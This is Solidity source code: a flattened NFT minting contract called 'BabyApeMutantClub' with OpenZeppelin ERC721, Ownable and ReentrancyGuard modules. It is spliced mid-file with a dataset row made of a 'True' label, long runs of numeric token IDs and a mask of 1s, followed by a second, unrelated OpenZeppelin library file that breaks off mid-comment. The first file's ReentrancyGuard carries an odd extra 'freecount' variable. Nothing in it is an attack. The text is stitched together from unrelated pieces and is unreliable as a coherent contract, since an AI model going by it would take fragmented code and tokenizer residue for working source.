_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/security/[email protected]
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 public freecount;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File contracts/BAMC.sol
contract BabyApeMutantClub is ERC721, Ownable, ReentrancyGuard {
uint256 public PRICE = 0.01 * 1e18;
uint256 public MAX_SUPPLY = 6666;
uint256 public MAX_FREE = 1000;
uint256 public nftPerAddressLimit = 10;
uint256 public minted;
string public baseURI;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory name_,
string memory symbol_,
string memory baseURI_
) ERC721(name_, symbol_) {
baseURI = baseURI_;
}
function mint(uint8 amount) public payable nonReentrant {
require(amount > 0, "Amount must be more than 0");
require(amount <= 10, "Amount must be 10 or less");
require(msg.value == PRICE * amount, "Ether value sent is not correct");
require(
minted + amount <= MAX_SUPPLY,
"Sold out!"
);
for (uint256 i = 0; i < amount; i++) {
_safeMint(msg.sender, ++minted);
}
}
function mintfree(uint8 amount) public payable nonReentrant {
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + amount <= nftPerAddressLimit, "max NFT per address exceeded");
require(amount > 0, "Amount must be more than 0");
require(amount <= 5, "Amount must be 5 or less");
require(
minted + amount <= MAX_FREE,
"Free mints gone");
freecount = msg.value;
for (uint256 i = 0; i < amount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, ++minted);
}
}
function setPRICE(uint256 _newPRICE) public onlyOwner {
PRICE = _newPRICE;
}
function setmaxSupply(uint256 _newMaxSupply) public onlyOwner {
MAX_SUPPLY = _newMaxSupply;
}
function setmaxFree(uint256 _newMaxFree) public onlyOwner {
MAX_FREE = _newMaxFree;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function withdraw(address payable recipient) public onlyOwner {
require(address(this).balance > 0, "No contract balance");
recipient.transfer(address(this).balance);
}
function setBaseURI(string memory baseURI_) public onlyOwner {
baseURI = baseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
5757,
1008,
1013,
1013,
1013,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1013,
1064,
1035,
1035,
1035,
1032,
1013,
1035,
1032,
1064,
1035,
1035,
1035,
1032,
1032,
1013,
1013,
1013,
1035,
1032,
1064,
1035,
1035,
1035,
1032,
1035,
1035,
1035,
1064,
1064,
1032,
1013,
1064,
1064,
1064,
1064,
1035,
1035,
1013,
1035,
1032,
1064,
1032,
1064,
1064,
1035,
1035,
1064,
1013,
1035,
1035,
1032,
1064,
1064,
1064,
1064,
1064,
1064,
1035,
1035,
1035,
1032,
1013,
1013,
1064,
1064,
1035,
1013,
1013,
1013,
1035,
1032,
1032,
1064,
1064,
1035,
1013,
1013,
1032,
1058,
1013,
1013,
1013,
1035,
1032,
1032,
1064,
1064,
1035,
1013,
1013,
1064,
1035,
1035,
1064,
1012,
1012,
1064,
1064,
1064,
1064,
1064,
1064,
1013,
1013,
1035,
1032,
1032,
1064,
1032,
1064,
1064,
1064,
1064,
1064,
1013,
1032,
1013,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1035,
1013,
1013,
1013,
1013,
1064,
1035,
1035,
1035,
1032,
1035,
1064,
1064,
1035,
1035,
1035,
1032,
1032,
1013,
1064,
1035,
1064,
1064,
1035,
1035,
1013,
1064,
1035,
1035,
1064,
1064,
1064,
1032,
1013,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1035,
1064,
1064,
1012,
1036,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1035,
1035,
1035,
1032,
1013,
1013,
1064,
1064,
1035,
1013,
1013,
1064,
1064,
1064,
1064,
1064,
1035,
1013,
1013,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1035,
1035,
1035,
1064,
1064,
1064,
1064,
1064,
1035,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1032,
1064,
1064,
1064,
1064,
1032,
1035,
1035,
1013,
1032,
1064,
1064,
1035,
1035,
1035,
1064,
1064,
1035,
1064,
1064,
1064,
1035,
1013,
1013,
1013,
1013,
1032,
1035,
1035,
1035,
1035,
1013,
1032,
1035,
1064,
1064,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1013,
1032,
1035,
1013,
1032,
1035,
1064,
1064,
1035,
1013,
1032,
1035,
1064,
1032,
1035,
1035,
1035,
1035,
1013,
1032,
1035,
1064,
1064,
1035,
1013,
1032,
1035,
1035,
1035,
1013,
1032,
1035,
1013,
1032,
1035,
1064,
1064,
1035,
1013,
1032,
1035,
1064,
1032,
1035,
1013,
1032,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1035,
1013,
1032,
1035,
1035,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
16770,
1024,
1013,
1013,
12532,
4103,
1012,
4012,
1013,
13260,
1013,
29300,
21693,
14905,
24463,
4160,
1013,
1013,
16770,
1024,
1013,
1013,
3336,
24065,
28120,
4630,
20464,
12083,
1012,
4012,
1013,
1013,
1013,
5371,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
17174,
13102,
18491,
1013,
1031,
10373,
5123,
1033,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
